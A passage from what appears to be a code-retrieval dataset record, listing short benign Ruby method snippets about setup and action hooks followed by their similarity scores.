"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def around_hooks; end", "def save_action; end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def duas1(action)\n action.call\n action.call\nend" ]
[ "0.6165152", "0.60463154", "0.59467196", "0.5917112", "0.5890387", "0.58345735", "0.57773316", "0.56991524", "0.56991524", "0.565454", "0.5622282", "0.54232633", "0.54119074", "0.54119074", "0.54119074", "0.53937256", "0.53801376", "0.5358599", "0.53412294", "0.5340814", "0.53314966", "0.53114754", "0.52984965", "0.52977055", "0.5296272", "0.5260649", "0.5245076", "0.52388334", "0.52388334", "0.52388334", "0.52388334", "0.52388334", "0.5235081", "0.52321917", "0.5228592", "0.5220735", "0.52198535", "0.52139324", "0.5208539", "0.5206585", "0.5178542", "0.5175199", "0.5173538", "0.5167041", "0.51614195", "0.51577675", "0.5153909", "0.51528823", "0.5152225", "0.51429904", "0.5141399", "0.51345575", "0.51145", "0.5114052", "0.5114052", "0.5110216", "0.5108656", "0.50935394", "0.5089196", "0.5081936", "0.5079627", "0.50675833", "0.5056105", "0.5053687", "0.5050475", "0.5050475", "0.503471", "0.5028311", "0.501982", "0.50157547", "0.5013552", "0.50014806", "0.50011593", "0.49976763", "0.4990292", "0.4990292", "0.49882022", "0.4981269", "0.49792367", "0.49766538", "0.4967978", "0.49667212", "0.4958987", "0.49572337", "0.49550423", "0.4954479", "0.4952353", "0.494726", "0.4944055", "0.4935437", "0.4931248", "0.49283475", "0.49281213", "0.49268973", "0.4921738", "0.49204507", "0.4918924", "0.49182287", "0.4916538", "0.49158585", "0.49156788" ]
0.0
-1